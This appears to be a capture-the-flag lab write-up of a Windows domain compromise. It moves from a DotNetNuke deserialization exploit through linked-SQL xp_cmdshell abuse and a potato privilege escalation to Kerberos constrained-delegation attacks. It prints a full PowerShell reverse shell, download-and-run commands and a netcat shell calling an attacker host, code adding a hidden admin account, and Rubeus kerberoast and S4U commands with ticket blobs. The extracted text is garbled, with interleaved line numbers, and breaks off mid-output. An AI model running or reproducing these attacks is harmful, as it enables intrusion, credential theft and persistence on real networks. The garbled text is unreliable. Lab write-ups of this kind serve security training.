C:\inetpub\wwwroot\dotnetnuke\shell.aspx
10
11
12
13
14
15
This can be modified to:
1 2
3
4
5
6
PullFile
7
8
http://10.10.14.9/ASPX_Shell.aspx
9
C:\inetpub\wwwroot\DotNEtNuke\mez0.aspx
10
11
12
13
14
15
The path was identified by downloading the corresponding version from GitHub and checking that the Documentation/License.txt path matched up to the location on the server. As it is, the above should be correct. However, it doesn't work.
Code Execution Starting with this shell, I edited the first line:
1
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
2
if($socket -eq $null){exit 1}
3
$stream = $socket.GetStream();
4
$writer = new-object System.IO.StreamWriter($stream);
5
$buffer = new-object System.Byte[] 1024;
6
$encoding = new-object System.Text.AsciiEncoding;
7
do
8
{
9
$writer.Flush();
10
$read = $null;
11
$res = ""
12
while($stream.DataAvailable -or $read -eq $null) {
13
$read = $stream.Read($buffer, 0, 1024)
14
}
15
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
16
if(!$out.equals("exit")){
17
$args = "";
18
if($out.IndexOf(' ') -gt -1){
19
$args = $out.substring($out.IndexOf(' ')+1);
20
$out = $out.substring(0,$out.IndexOf(' '));
21
if($args.split(' ').length -gt 1){
22
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
23
$pinfo.FileName = "cmd.exe"
24
$pinfo.RedirectStandardError = $true
25
$pinfo.RedirectStandardOutput = $true
26
$pinfo.UseShellExecute = $false
27
$pinfo.Arguments = "/c $out $args"
28
$p = New-Object System.Diagnostics.Process
29
$p.StartInfo = $pinfo
30
$p.Start() | Out-Null
31
$p.WaitForExit()
32
$stdout = $p.StandardOutput.ReadToEnd()
33
$stderr = $p.StandardError.ReadToEnd()
34
if ($p.ExitCode -ne 0) {
35
$res = $stderr
36
} else {
37
$res = $stdout
38
}
39
}
40
else{
41
$res = (&"$out" "$args") | out-string;
42
}
43
}
44
else{
45
$res = (&"$out") | out-string;
46
}
47
if($res -ne $null){
48
$writer.WriteLine($res)
49
}
50
}
51
}While (!$out.equals("exit"))
52
$writer.close();
53
$socket.close();
54
$stream.Dispose()
Next, create a
1
base64
blob out of it, like this:
cat reverse.ps1|iconv -t UTF-16LE|base64 -w0
This will produce a chunky piece of ysoserial.net
1
base64
, which can then be passed into
:
.\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe EncodedCommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA="
With that, request a DNNPersonalization
And then:
404
on the web app, and send this payload in the
parameter.
1
listening on [any] 443 ...
2
connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 49989
3
whoami
4
nt authority\network service
This shell is pretty dire, can I upgrade it? Before moving onto a
meterpreter
try get a nishang shell. Nishang doesn't work, its too long when encoded:
1
HTTP/1.1 400 Bad Request
2
Content-Type: text/html; charset=us-ascii
3
Server: Microsoft-HTTPAPI/2.0
4
Date: Mon, 13 Apr 2020 10:01:16 GMT
5
Connection: close
6
Content-Length: 346
7 8
9 10
Bad Request
11
Bad Request - Request Too Long
12
HTTP Error 400. The size of the request headers is too long.
13
Next, I'll try debug why the
DownloadString
isn't working.
DownloadString() Whilst in the shell, I ran this:
1
powershell.exe -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/test')
Which actually did the request:
1
connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 50003
2
GET /test HTTP/1.1
3
Host: 10.10.14.9
4
Connection: Keep-Alive
, I'll
Passing this into
1
ysoserial.net
:
.\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/test')"
And dropping that in the request:
1
listening on [any] 80 ...
2
connect to [10.10.14.9] from (UNKNOWN) [10.10.110.10] 50007
3
GET /test HTTP/1.1
4
Host: 10.10.14.9
5
Connection: Keep-Alive
And trying to serve
1
nishang
:
.\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/InvokePowerShellTcp.ps1')"
Well it did the request, but no shell:
1
10.10.110.10 - - [13/Apr/2020 11:15:46] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
DownloadFile() With this, I was able to get
1
nc64.exe
on the box:
.\ysoserial.exe -p DotNetNuke -m run_command -c "powershell.exe -ep bypass invoke-webrequest -uri http://10.10.14.9/nc64.exe -outfile C:\dotnetnuke"
c:\dotnetnuke
is where the server is hosted. So, it makes sense I can write
there. Now, using this:
1
c:\dotnetnuke\nc64.exe -nv 10.10.14.9 443 -e powershell.exe
To speed this up, this works:
1
.\ysoserial.exe -p DotNetNuke -m run_command -c "cmd /c c:\dotnetnuke\nc64.exe -nv 10.10.14.9 443 -e powershell.exe"
Exploring 10.10.110.10 Now that I am on the box, I need a few things. Flags Administrator Persistance Checking the
1
c:\dotnetnuke
directory reveals the first flag:
Cyb3rN3t1C5{De$3R!al!z@ti0n}
A friend also recommended this: https://github.com/NetSPI/PowerUpSQL
Enumerating MSSQL Getting it on the box:
1
invoke-webrequest -uri http://10.10.14.9/PowerUpSQL.ps1 -outfile PowerUpSQL.ps1
Import it:
1
import-module .\PowerUpSQL.ps1
Using this command, I was able to identify a linked server:
1
Get-SqlServerLinkCrawl -Verbose
The response looks like this:
1
Version : SQL Server 2016
2
Instance
3
CustomQuery :
4
Sysadmin
: 0
5
Path
: {CYWEBDW\SQLEXPRESS}
6
User
: WORKGROUP\CYWEBDW$
7
Links : {m3sqlw.m3c.local}
: CYWEBDW\SQLEXPRESS
8 9
Version : SQL Server 2016
10
Instance
11
CustomQuery :
: M3SQLW\SQLEXPRESS
12
Sysadmin
: 1
13
Path
: {CYWEBDW\SQLEXPRESS, m3sqlw.m3c.local}
14
User
: sa
15
Links :
Enable XP_CMDSHELL As I am
1
sa
, I am able to enable
xp_cmdshell
:
osql -E -S "CYWEBDW" -Q "EXECUTE('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"
This will output the following:
1
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE
2
statement to install.
This then allows me to execute commands on the with
1
whoami
linked
databases. Testing this
:
osql -E -S "CYWEBDW" -Q "EXECUTE('xp_cmdshell whoami') AT [m3sqlw.m3c.local];"
The output of this will be:
1
output
2
3
4
5
-----------------------------------------------------------------------------
6
--------------------------------------------------------------------
--7
--------------------------------------------------------------------
--8
9
m3c\svc_sql
-----------------------------------
10
11
12 13
NULL
14
15
16
17 18
Command Execution on m3sqlw To get onto my own
m3sqlw
, the best way is to exploit the
beaconing.exe
linked database
and upload
compiled binary.
Upload it:
1
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -NoP -NonI -c Invoke-WebRequest -Uri http://10.10.14.9/shelly.exe -OutFile c:\users\public\documents\shelly.exe''') AT [m3sqlw.m3c.local]"
Then execute it for a shell:
1
osql -E -S "CYWEBDW" -Q "EXECUTE('exec master..xp_cmdshell ''powershell -c Start-Process -NoNewWindow -FilePath c:\users\public\documents\shelly.exe ArgumentList ''''10.10.14.9 80''''''') AT [m3sqlw.m3c.local]"
Shell:
1
listening on [any] 80 ...
2
connect to [10.10.14.9] from (UNKNOWN) [10.10.110.250] 57999
3
Windows PowerShell
4
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
5 6
PS C:\Windows\system32>
7
whoami
8
PS C:\Windows\system32> whoami
9
m3c\svc_sql
Flag:
1
Cyb3rN3t1C5{Sql$erv3rL!nkCr@wl}
Rooting 10.10.110.10 I lucked out and landed as potato.exe
SYSTEM
some how. But, I know the route is
so i cant be bothered.
Download this: https://github.com/foxglovesec/RottenPotato And then add then replace this function:
1
public void TokenRelay(BlockingCollection hashesIn, BlockingCollection hashesOut)
2
{
3
while (bContinueServer)
4
{
5 6
byte[] out_buffer = null;
7
byte[] hash = hashesIn.Take();
8
InitializeServer(hash, out out_buffer, out bContinueServer);
9
hashesOut.Add(out_buffer);
10
if (bContinueServer)
11
12
hash = hashesIn.Take();
{
13
InitializeServer(hash, out out_buffer, out bContinueServer);
14 15
ImpersonateSecurityContext(ref _hServerContext);
16
// The above is just easier
17
IntPtr hToken = IntPtr.Zero;
18
mygetuser();
19 20
QuerySecurityContextToken(ref _hServerContext, out hToken);
21 22
using (WindowsImpersonationContext context = WindowsIdentity.Impersonate(hToken))
23
{
24
// add a new admin user
25
string Name = "mez0";
26
string Pass = "Password123!";
27 28
try
29
30
DirectoryEntry AD = new
{
DirectoryEntry("WinNT://" + 31
Environment.MachineName + ",computer");
32
DirectoryEntry NewUser = AD.Children.Add(Name, "user");
33
NewUser.Invoke("SetPassword", new object[] { Pass });
34
NewUser.Invoke("Put", new object[] { "Description", "Suck my plums!" });
35
NewUser.CommitChanges();
36
DirectoryEntry grp;
37 38
grp = AD.Children.Find("Administrators", "group");
39
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
40
Console.WriteLine("Account Created Successfully");
41
Console.WriteLine("Press Enter to continue....");
42
}
43
catch (Exception ex)
44
45
Console.WriteLine(ex.Message);
46
47
{ }
}
48 49
/*
50
if (V.have_seimpersonate)
51
{
52
QuerySecurityContextToken(ref _hServerContext, out hToken);
53
ImpersonateLoggedOnUser(hToken);
54
}
55
*/
56 57
// Console.WriteLine("BOOM!... Sleep: {0}msec", V.sleep_time);
58
// Thread.Sleep(V.sleep_time);
59 60
// hashesOut.Add(new byte[] { 99 }); // if finished pass 99
61
62
63
}
}
}
Whilst on the host, mimikatz wasn't letting me dump creds:
1
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Sharphound Analysis: m3c.local Once on the box, I ran
sharphound
and took a look through
bloodhound
. I found a
fairly obvious route: svc_sql
has the
AllowedToDelegate
permission, which means:
“ The user
[email protected] has the constrained delegation privilege to the computer M3WEBAW.M3C.LOCAL. The constrained delegation primitive allows a principal to authenticate as any user to specific services (found in the msds-AllowedToDelegateTo LDAP property in the source node tab) on the target computer. That is, a node with this privilege can impersonate any domain principal (including Domain Admins) to the specific service on the target host. One caveat- impersonated users can not be in the "Protected Users" security group or otherwise have delegation privileges revoked. An issue exists in the constrained delegation where the service name (sname) of the resulting ticket is not a part of the protected ticket information, meaning that an attacker can modify the target service name to any service of their choice. For example, if msds-AllowedToDelegateTo is “HTTP/host.domain.com”, tickets can be modified for LDAP/HOST/etc.
service names, resulting in complete server compromise, regardless of the specific service listed.
So, the next step is
Constrained Delegation
.
Constrained Delegation From Harmj0y :
“ In essence, constrained delegation is a way to limit exactly what services a particular machine/account can access while impersonating other users. The ‘service’ specified is a service principal name that the account is allowed to access while impersonating other users. This is HOST/PRIMARY.testlab.local in our above example.
This is a huge topic and that post looks over Transition
S4U2Self, S4U2Proxy, and Protocol
.
The following is from the
abuse info
of
Bloodhound
:
“ Abusing this privilege can utilize Benjamin Delpy’s Kekeo project, proxying in traffic generated from the Impacket library, or using the Rubeus project's s4u abuse. In the following example, victim is the attacker-controlled account (i.e. the hash is known) that is configured for constrained delegation. That is, victim has the "HTTP/PRIMARY.testlab.local" service principal name (SPN) set in its msds-AllowedToDelegateTo property. The command first requests a TGT for the victim user and executes the S4U2self/S4U2proxy process to impersonate the "admin" user to the "HTTP/PRIMARY.testlab.local" SPN. The alternative sname "cifs" is substituted in to the final service ticket and the ticket is submitted to the current logon session. This grants the attacker the ability to access the file system of PRIMARY.testlab.local as the "admin" user.
1
Rubeus.exe s4u /user:victim /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:admin /msdsspn:"HTTP/PRIMARY.testlab.local" /altservice:cifs /ptt
In the above, the
/rc4:2b576acbe6bcfda7294d6bd18041b8fe
have the
hash, I need to grab the ticket instead. As I am already this
svc_sql
flag is given. As I don't
user, it should be easy with this command:
1
.\Rubeus.exe kerberoast tgtdeleg /target:svc_sql
Before that, upload
1
rubeus
:
powershell.exe -c invoke-webrequest -uri http://10.10.14.9:443/Rubeus.exe Outfile C:\Users\svc_sql\Documents\Rubeus.exe
And
1
PowerView
:
powershell.exe -c invoke-webrequest -uri http://10.10.14.9:443/PowerView.ps1 -Outfile C:\Users\svc_sql\Documents\PowerView.ps1
Confirming the service Before playing with
Rubeus
, I need to find what service
svc_sql
is allowed to
delegate to, this can be done with:
1
Get-NetUser -TrustedToAuth
Which outputs the following:
1
logoncount
: 112
2
badpasswordtime : 3/26/2020 6:05:01 AM
3
department
4
objectclass : {top, person, organizationalPerson, user}
5
displayname : svc_sql
: Service Accounts
6
lastlogontimestamp
: 4/16/2020 10:30:02 PM
7
userprincipalname :
[email protected] 8
name
9
objectsid : S-1-5-21-340507432-2615605230-720798708-1292
: svc_sql
10
samaccountname
: svc_sql
11
codepage
: 0
12
samaccounttype
: USER_OBJECT
13
accountexpires
: NEVER
14
countrycode : 0
15
whenchanged : 4/17/2020 2:30:02 AM
16
instancetype
: 4
17
usncreated
: 14270
18
objectguid
: 12abb3f4-7318-4476-b699-00205fac813a
19
lastlogoff
: 12/31/1600 7:00:00 PM
20
msds-allowedtodelegateto
: {time/m3webaw.m3c.local, time/M3WEBAW}
21
objectcategory
:
CN=Person,CN=Schema,CN=Configuration,DC=m3c,DC=local 22
distinguishedname : CN=svc_sql\ ,OU=Service Accounts,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
23
dscorepropagationdata : 1/1/1601 12:00:00 AM
24
serviceprincipalname
25
givenname : svc_sql
26
memberof
: mssqlsvc/db.m3c.local : CN=Service Accounts,OU=Security
Groups,OU=m3c,DC=m3c,DC=local 27
lastlogon : 4/17/2020 7:29:54 AM
28
badpwdcount : 0
29
cn
: svc_sql
30
useraccountcontrol
: NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
TRUSTED_TO_AUTH_FOR_DELEGATION 31
whencreated : 1/2/2020 3:39:59 PM
32
primarygroupid
: 513
33
pwdlastset
: 1/2/2020 10:39:59 AM
34
msds-supportedencryptiontypes : 24
35
usnchanged
: 192582
The key piece here is:
1
msds-allowedtodelegateto
time/m3webaw.m3c.local
: {time/m3webaw.m3c.local, time/M3WEBAW}
will be used during the
With that uploaded, checking if it works:
ptt
attack.
1 2 3 4
PS C:\users\svc_sql> .\Rubeus.exe ______ (_____ \
_ | |
_____) )_ _| |__ __
/| | | |
_____ _ _
___
5
|
_ \| ___ | | | |/___)
6
| |
7
|_| |_|____/|____/|_____)____/(___/
8
v1.4.2
\ \| |_| | |_) ) ____| |_| |___ |
Getting the Kerberoast hash Cool! As I don't have the hash for
1
svc_sql
, I can grab that with
kerberoast
:
.\Rubeus.exe kerberoast /target:svc_sql
This gives:
1
$krb5tgs$18$*svc_apache$m3c.local$http/mq.m3c.local*$56F749C3AF30E4A917817076 2CDA0AED$B910B24C3667CFA266FCC16A801CCADBBC08FB9A9B850BD14C697A7A0E145E8C0106 1EC6FE57DF1B81FFB528F3E00C4C59A3B00F504733F6B365F7AB341E0DF87CA6DF28F4D1ABAA7 4B36B8EBB9C08C0F739458C5D1C654EFFE5738A15B401E908DD85AC4E81DD1E4A1EB1CFF5A7A2 1F7CE84CAAB849B9D8FD63445E0CA743577103A8C6B5767EC27E763F2F285F2D4EA174B2CF580 8B74C86A097D10F35A556AA5CB99236E29B6D4709929B86D4827D22E59277544793C599F9BFB7 2CE46B47B4E540198E54484B8F24B62A4E02D65121ADF6F5823C06BAC12F0FAAFBF0D38A5B783 4EF84467DDAD1EECC3B116C60446A4A36DC7FC6D51CB57F121996E3E5AA21552FCE09B5B88101 B3A5D16C80022E54ACBFFC90896CCB307B8BBAF918507F9EF44108C4C259A1B331C108590A288 E50AD4269F3936892D6D53A4E4D0EC2657DF6E37C94BAD4EC4C366813BAC2A47602AC4D2EB301 3946AA728C8CF2B02C1C70DAE16C1776ECE109C339965A734A1447636F081300EA449B72778E9 619F7D2FFAE18E5B9D77AF0978B089DED28D53D04EA86DA12C6E7E68B08FC30363410F4FC2DD1 F4F000919FAE47F6931B91F28A440EA529068D4BBEDDAFF6ECFA3A4F17801F376D3A7C55160A4 39C4D44D9C1D192DD8D9E2A341244C4B1AC2DFDF272CBDFE93CB02AE78BFC93AEBB7E7D85B46C 5156B59892160B58BC9C77725A37BAC418C48E60529A4F20D630EB9F650AA4CC5451AB784C0D2 3B4D717CCB7482EFCFC6648B3D6ED0B06188855AA888155FDB02EDA8D3F90F210C7330398BFC8 F042491F79EDA1698DEC0F228467D44BFB17AD8B58A36110F81434922712B9E1512359D6623F0 3C64036C44D46222B8AE8F56F1AB080D2810261FBD8E9D4AD0A461A7D821A59C02C4D7F6A11FB 1E085128A3565DD7DF43E75CCD93F3D792B366173721589B5BA108ECBF25C809096A382F2693F 3AE89A8CB8CA7F6D7DAA0E5C2164B0DEE73347160118D36B816F20E12A58AE96D0A0A8BEF296D 247217622C495536549FC894138E9549425C4C55758A3E21B05EB04175EE31A954D4C909C7163 73946A29FCEF93EDD1D4F2B711909B1038E5D46D0FE08F8673E23D60D10CD8F62D336083E5020 86DB8B409612B65F0A3625E6743DFA2F8E1FCB5A4D1F59F9E6CD8302A8CD2491AA062964D51EE 8462ABADA8B2BB840EE26FD0AA813E8BD36387814902C66933DAED0D40DC99842D6758D18EF2E 90023FB3843F1B92A02D5E47F2BB9BABA14A300457F478BEEE57F18FCA1A27954819518BB63D5 3A77A081AABBE4466D02B203D5DD2C3C05B96237F7F519DA284192279E940080BDADF2A195008 C2EE6871398CCDAEB8D410F570122E9C590D342A0155F1D3DECFA9FF2509E1E53F84D6AA064E2 CB1FF9268D53286707698CFCE413EA8BBCEC3D2815F0B79EF9E2F332F95F516505676
Getting the Base64 ticket This will be subject to cracking, but not yet. Next, grabbing a ticket. This is easily done with:
1
.\Rubeus.exe tgtdeleg
A chunky piece of base64 is produced:
1
doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygA wIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA60gq87ly3 u9OT8wPHl6/3MAwhPmmLV3jv9ahROtOSiE/ah5c8jp/MBqkBfOUnmTZNDrTeT90RejTIhXE57yPod wcqDxjfU+clLwg9FaNneq5FUnUUuQ6B46G0KUr9iSoObRMOJYYi1pNeVHIc9W8O2OKn9C/GLaBMYs 0+QyMG+J4gkS2kFIkIwV921xODSHAawh3r8VN8Oyq7hIE6T8q+0W7jRCPhBgkdf1hDkxw3mt9bUAP rD3U0EaWGsTEV4Cupq0eMqF048Pz5wb+6PlItMhQFbp/WFe8/eRqSkXgBVErwQsrQ9Bxx1JeO+RR9 Sl56dox2NwgANATizVYBVxSs0GlKlVydMO0LuoezyFK4MEu+2/xm4wgrCuDkthh1a8RVGkv1K3hbc Cj9sauLYmL5IdxzE5HeEg4NVsCC1D8jiO869LCgl9jGW8QQCsLIyTXQ6Yb4bvARijOxMhxuOBNy84 C8vJYnHQOGTfQxG0lX6p3ZV4D3nk11j+tUWmdjHEe0klgwsp8n7oZ9LBYo7Y69xkfeyGk5KSwZ7ly VQ0j0PzbTJmxzEyN6YREKjni502IU05cEmPYwZaRbanC80F7Eb3LDpB/DHoRN6CXa31eYF3Gy8kfY Z1oMkcYgz/GF46wCJF9ouXYlWkkC66PQWCl65bAmYvoxOzNOInUZaWy6ZuA1mbyMJZqLe74K8Nfjv ogKaoYEzazMnypwm4SN0/e/zE3Cu8PCGcGkS1Itp67WWyv74+5yA89JTpgCGVzaK7sR65+okGxZ2C SuMvyDG5s/xgIHQr0AVkxxuJX9ArOy56RbilxYmvhGnf1Xn4d16W6BnwxRUnxAd+UVshknbBLJ9aY /i1pOkfHB+612kDcEqjcLjbVvhsAgcF8pd8AFcUg6HY8g67vBs9/hRgyVjrM8F4DWE84HlX7mZ/ya 5mIUVcCpDos3R71Mu4PHHz/wZtt8ZIHkFc1oEOr67itQke05zikOPjPTPlPTHvmZbmRXKDWzFpNQe YB2CYWWBwN0ujulrKp/lAxPZWbpgkEQzqgnnkhleaNvpPPW7XxNfb7HqUGLtbVX/MrGSoE7k/Zl1x cx64TgS/+LZZgoGrrwrbcCfd2dTNnWjA83JbCq8CUjwExlrWdUl3BRIA2d6AoEtHE95Uuc3FWmcQJ tIsJ0A5QtqZxE9NskCR0y0WsV1huHxvMod15qHm2yWZSdMl7C+513gAy3S9Eo4P0/ooTAIAvrmf4c J6A7J+Lwl9j3MpcaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIJU w2M3O9tbtg8h1Uftywuw1raEzlwnzh5g5bFM8BQ01oQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkb B3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA0MTcxMTExMzhaphEYDzIwMjAwNDE3MjEwMDAwWqcRG A8yMDIwMDQyNDExMDAwMFqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE 9DQUw=
Exploiting Constrained Delegation Attempt 1 With that, I can now /ticket
. There are some important flags here:
: This is the base64 Kerberos Ticket
/impersonateuser /domain
/ptt
: The user to impersonate
: The domain to authenticate to
msdsspn /dc
: The service to delegate to
: The domain controller
/ptt
: A pass-the-ticket attack
All together, it looks like this:
1
.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBT KIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA6 3MkP00gTXk3eKQPGJKfoYjY3I3Bg0T6zCZVoQOLPIWI0qR7oMkgRcV1bQ6iyTdAfbbWeuR/IK7osn RC4EckM+t7QvA4Qnr0t6EJtFNEexa2NG5F9sOv5tlDVSRmFec2+zvw5CDv+sO9dgnOFCPv9rxW40F Dyz41ccdLuHiRIUT5IgBfT8FR+KF87vc+fFwVDlbqETlzmXUH0or334+YUMdjJDahw/UZAgZh9/U/ hGpqsHdhujNsgJR+MCARBAuC+1PLtzDrRLFR8/Ay4svRr1KAQN7KVopt2FeMUAtWy2QTHWyMFvl7b 5sR4jk0INj5p97Iy1/c9K8V/H0B56PCcUxib+z2SxYZ0koNgsTRI4VwmLxXG7lNu512/fUrLxpcbP fnAuGAqZuUAKcZquReDRNp3FaKNSphWoY3nTO2ays4hUq3Skhhn3TybM1yg7l4yzdeS+fbBOJ76O2 RpvaMJk3OjTgbMftyKl3nx8yI4Knlxxj0XixHaS3L2lLGfWeCiRaSnJhRq1A10QA/7IMU+V4MkVLf 3sxz4A1TCESHuO2lWvMud3QACJiQlp+uZc8mzKDSHzq8ZUXfHwUw5GjnsMz+n05o+a5/HiGtTzysX 21IukfnHrGDQd2EHd8XVSfhI5ntxhAny3P8WKcBDy5J3gDLqjGZAQA5TeZril/HKT64uk/S8rmOr5 BSQJGZxXpzMyTs38D1Szi2oGADeSF7mZoN3BS8ebkBgxqxJaOxAnFeGlRjao6je79encUOS/iWmfv ooGP296u8xB4y6Hki+1MLH7QFN2gVddZ5UTZKsE45qZzixEfOa8qKbejb/dCAgAquNCKpbL/2VGCJ whPrDVVRDZFNy6DBZ29wZI3GjhcSU/K2JnN8vIe0EpHOaPgHVIF19tGzyioeTZdedjRCC7P6LCEUc rojWbXJt8bxP3BbJN6Bdp9nwTogKf3OONJhapRn0PfZZQYQdZ0tEd3RNAmqCyWEf5tbUd+wyjwjVE 2cdObubHOJQtcXiMxZF7G9YReg/XzGybX4hkindZyS/9jkff4BiIaMk/e7L66ASIT4EeaIiSwS9tn fCiJxBb59Arn7WYIH+srTRSCYbssbSiCghUW15km5fo4KnVNO6UIWDxdk0JZ+z5JnkL6TGo0++bLX dOAyPXDWoPmCbLA3jyFebHN98jzzPZgotC7vFpTv8h5jJ5zNeIxcN7PHr+qMRbBISMxxB6mkHFB1g 8yubytnDET6Wx4LUm3OIzqRaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgE SoSIEID46bIOxprG+RsD6AyYyOB2Izk7AINDtf+FOAXDBbdlioQsbCU0zQy5MT0NBTKIUMBKgAwIB AaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA0MjIwOTEwNDFaphEYDzIwMjAwNDIyMTkwM DAxWqcRGA8yMDIwMDQyOTA5MDAwMVqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0Gw lNM0MuTE9DQUw= /impersonateuser:svc_apache /domain:m3c.local /msdsspn:time/M3WEBAW.M3C.LOCAL /dc:M3DC.M3C.LOCAL /ptt
This will output:
1
______
2
(_____ \
3
_ | |
_____) )_ _| |__ __
/| | | |
_____ _ _
___
4
|
_ \| ___ | | | |/___)
5
| |
6
|_| |_|____/|____/|_____)____/(___/
7
v1.4.2
\ \| |_| | |_) ) ____| |_| |___ |
8
[*] Action: S4U
9
[*] Using domain controller: M3DC.M3C.LOCAL (10.9.20.10)
10
[*] Building S4U2self request for: '
[email protected]'
11
[*] Sending S4U2self request
12
[+] S4U2self success!
13
[*] Got a TGS for '
[email protected]' to '
[email protected]'
14 15
[*] base64(ticket.kirbi): doIFLDCCBSigAwIBBaEDAgEWooIEODCCBDRhggQwMIIELKADAgEFoQsbCU0zQy5MT0NBTKIUMBKg AwIB
16
AaELMAkbB3N2Y19zcWyjggQAMIID/KADAgESoQMCAQKiggPuBIID6koQuPX1SJCtrSU3BmBz1oD8 LJbY
17
ADXMJ7bX5ds67yVeSpw9L8GcY5xhkyeDdz41iZ5JOKDApeDyny5VJRK/2zXI+EUHk0hKy3ZUAqoB /t0x
18
Nkcx3mTQewbRtfwtiUJputC3f7wMqH+ZTlhWWR0RPbqqKpLY9XI8KitpPpGSQBbLJ8YK7o9ect39 hHhx
19
fhPQIp341XeAjtjEqLWfuVv9oJvUaH7en33rOBes+12tVipcnkufIET6RXxKzytUvNR7xkjxeLpd 2Dmh
20
+QUXVfoCHvZhSTm9Ei1HCx86c7eYYI9GdsgAB+F2GaUESkZS9410Cd1fJ4zF28FWH6DwHErih46j Oa58
21
GNeO81txMFZqMsFte3USr7pC1Xh8zPsG4mUu2IwXxMdwtUPv4HCvMP1BtJuHY3+HUtunR10tTJH6 B0Ly
22
zereeeAKDAvjE9zwserIcH31gPxU0QZR09BpNfJ1i+L2DVrGzWDd2vZwkE1fv5ttmov+4tzuPpZK P7g7
23
1jubTSn9iTqWJ8dhm2CdFy7x0UtIssr9u6phBXJVrTnK2d3iQ7EUhWKaAaGodHV2uQXXTjlWMNId uFvb
24
pkH4QeF7FtGFh0Q0Kv7q38UAsX3thYwMQFfscsu6rbeWNJCdrZgv9Xk6SzRboCWkRfYF6v+8cjUj oDaA
25
2NZ9V6juhTyku4V4T7oZxDsIUYdrMNnHmKX9TQrrQYCsreCyg09PR7Jljeh0/O0gbwX2Ank4Q+gb RuzV
26
6zopNXlQH9by6zaO7lzYNx30+IjVc4KyFFw9Tvee3OH+CyTzyLlqePyPadjB/dKKUXFAfX+P7yVQ JDuE
27
Ld+knlY9d382uZyVqbRcgXZ8Isly+R3RI6vynnBC3yU2far6m+oj8CFKO9PXxymC3wrW3NFWbIcg dLHk
28
xKrZ4mrgNTi21ZM0QQrqaLj8XkfHqZ5ZKoFHQSd3nbqilaterqwciZk10tfD/2akE9KKH1BoAZ66 UJza
29
wQaQDY3qC1X1Na91RhGI7vULSdg/mQy11MepFseahe22Jo67aYG1luYWn9KGH0LS8WQfjAR2+C6G Z7y/
30
+Hx++pDwQLyV4mS3B3igSIylS2Ar/+Yi4j5YDIC/ea1NGoGr1awnKi8U6bH/SlyPv4GMBjJ/rGDX waZk
31
An7LIVNw5jvsHwm8oM9HLKgHW2yl9Wtg36avDEo3J+ntDWykdnu1auSzTiNzaOyvHao4nO8rwb2a DWOY
32
iSkzcZfEmc434S/Emj8fTvnrSr4b6fuk1hM6+VKAwv+60q6+HxHHE6iqaYaZOg0bz3QUprzm9bUH QE47
33
/+AUG35Jf9SWRO6UeDsfXz2PHzYJeKOB3zCB3KADAgEAooHUBIHRfYHOMIHLoIHIMIHFMIHCoCsw KaAD
34
AgESoSIEIPCRRQ4F6onOIvmEqV/zB6whCFZALmWTh6Q1y/EBvLNkoQsbCU0zQy5MT0NBTKIhMB+g AwIB
35
CqEYMBYbFHN2Y19hcGFjaGVATTNDLkxPQ0FMowcDBQBgoQAApREYDzIwMjAwNDE3MTE1NDM5WqYR GA8y
36
MDIwMDQxNzIxMDAwMFqnERgPMjAyMDA0MjQxMTAwMDBaqAsbCU0zQy5MT0NBTKkUMBKgAwIBAaEL MAkb
37
B3N2Y19zcWw=
38
[*] Impersonating user 'svc_apache' to target SPN 'time/M3WEBAW.M3C.LOCAL'
39
[*] Using domain controller: M3DC.M3C.LOCAL (10.9.20.10)
40
[*] Building S4U2proxy request for service: 'time/M3WEBAW.M3C.LOCAL'
41
[*] Sending S4U2proxy request
42
[+] S4U2proxy success!
43
[*] base64(ticket.kirbi) for SPN 'time/M3WEBAW.M3C.LOCAL':
44
doIF1DCCBdCgAwIBBaEDAgEWooIE4DCCBNxhggTYMIIE1KADAgEFoQsbCU0zQy5MT0NBTKIkMCKg AwIB
45
